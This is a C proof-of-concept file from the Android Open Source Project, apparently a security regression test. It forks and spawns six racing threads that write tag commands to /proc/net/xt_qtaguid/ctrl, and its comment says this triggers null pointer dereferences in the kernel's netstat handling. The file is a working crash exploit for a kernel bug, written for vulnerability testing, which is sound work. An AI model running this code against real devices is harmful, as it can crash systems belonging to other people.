1 /** 2 * Copyright (C) 2018 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #define _GNU_SOURCE 18 #include <errno.h> 19 #include <fcntl.h> 20 #include <pthread.h> 21 #include <stdio.h> 22 #include <string.h> 23 #include <sys/mman.h> 24 #include <sys/socket.h> 25 #include <sys/stat.h> 26 #include <sys/time.h> 27 #include <sys/types.h> 28 #include <unistd.h> 29 30 #define MAX_THREAD 6 31 32 int ctrl_fd; 33 static int cmd; 34 static int status[MAX_THREAD]; 35 static int sock_fd; 36 37 void *thread_entry(void *arg) { 38 int index, len = 256, ret; 39 char buf[256]; 40 index = (int)(unsigned long)arg; 41 memset(buf, 0x0, 256); 42 status[index] = 1; 43 44 // cmd =-1 signifies error in thread creation 45 while (cmd != 1 && cmd != -1) { 46 usleep(5); 47 } 48 49 if (cmd != -1) { 50 switch (index % 3) { 51 case 0: 52 len = sprintf(buf, "d %lu", (unsigned long)0); 53 break; 54 case 2: 55 len = sprintf(buf, "t %d", sock_fd); 56 break; 57 } 58 59 ret = write(ctrl_fd, buf, len); 60 } 61 62 status[index] = 2; 63 return NULL; 64 } 65 /* 66 *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device 67 *which causes null pointer derefrences in netstat. 68 */ 69 int main() { 70 int fd, retry = 1024; 71 int ret, i, loop; 72 pthread_t tid[MAX_THREAD]; 73 74 fork(); 75 sock_fd = socket(AF_INET, SOCK_STREAM, 0); 76 while (retry--) { 77 cmd = 0; 78 for (i = 0; i < MAX_THREAD; i++) { 79 status[i] = 0; 80 } 81 82 fd = open("/dev/xt_qtaguid", O_RDONLY); 83 if (fd < 0) { 84 return -1; 85 } 86 87 ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR); 88 if (ctrl_fd < 0) { 89 return -1; 90 } 91 92 for (i = 0; i < MAX_THREAD; i++) { 93 ret = 94 pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i); 95 if (ret != 0) { 96 cmd = -1; 97 close(ctrl_fd); 98 } 99 } 100 101 loop = 1; 102 int count = 0; 103 // loop until all threads have status == 1 104 while (loop) { 105 loop = 0; 106 count = count + 1; 107 for (i = 0; i < MAX_THREAD; i++) 108 if (status[i] != 1) { 109 loop = 1; 110 break; 111 } 112 113 if (loop) { 114 usleep(5); 115 } 116 } 117 118 cmd = 1; 119 loop = 1; 120 while (loop) { 121 loop = 0; 122 count = count + 1; 123 for (i = 0; i < MAX_THREAD; i++) 124 if (status[i] != 2) { 125 loop = 1; 126 break; 127 } 128 129 if (loop) { 130 usleep(5); 131 } 132 } 133 close(fd); 134 } 135 return 0; 136 } 137
